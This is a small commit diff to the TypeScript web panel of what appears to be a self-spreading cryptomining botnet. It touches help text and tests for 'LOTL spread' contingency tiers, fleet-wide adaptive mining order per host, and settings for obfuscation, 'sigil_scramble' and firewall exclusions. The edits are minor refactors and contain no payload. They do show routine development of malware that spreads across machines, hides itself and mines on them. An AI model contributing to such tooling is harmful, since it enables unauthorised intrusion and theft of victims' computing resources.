Fix validation failures from loose-end sweep

server/web/src/help/accessDepth.ts

@@ -163,7 +163,9 @@ function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
   for (const row of raw) {
     if (!row || typeof row !== 'object') continue;
     const r = row as Record<string, unknown>;
-    if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
+    if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') {
+      continue;
+    }
     out.push({ fact: r.fact, inference: r.inference, action: r.action });
   }
   return out.length ? out : undefined;
@@ -259,7 +261,8 @@ function resolveMiningOrder(
 ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
   if (diag?.adaptive_strategy?.tier_order?.length) {
     const adaptiveOrder = diag.adaptive_strategy.tier_order;
-    if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
+    const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
+    if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) {
       return {
         order: adaptiveOrder,
         skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],

server/web/src/help/lotlOnionTiers.ts

@@ -1,6 +1,6 @@
 /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
 
-/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
+/** Operator note: spread tiers here are distinct from mining tiers. Adaptive strategy (server/internal/strategy) learns mining tier order from fleet stats and pushes strategy_reasoning on auth — it overrides mining order/skip hints only, not spread lotl_onion_tiers or patch_first gates. */
 export const ADAPTIVE_STRATEGY_HELP =
   'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
 

server/web/src/help/settingHelp.test.ts

@@ -34,6 +34,7 @@ describe('FIELD_HELP', () => {
     'calibrate_quick_setup',
     'forge_simple_mode',
     'forge_lotl_onion',
+    'lotl_onion_tiers',
     'forge_recommended_defaults',
     'obfuscate',
     'sigil_scramble',
@@ -94,6 +95,7 @@ describe('FIELD_HELP', () => {
     'websocket_ping_seconds',
     'log_pool_traffic',
     'adapt_to_hardware',
+    'adaptive_strategy',
     'self_healing',
     'firewall_exclusion',
     'firewall_remote',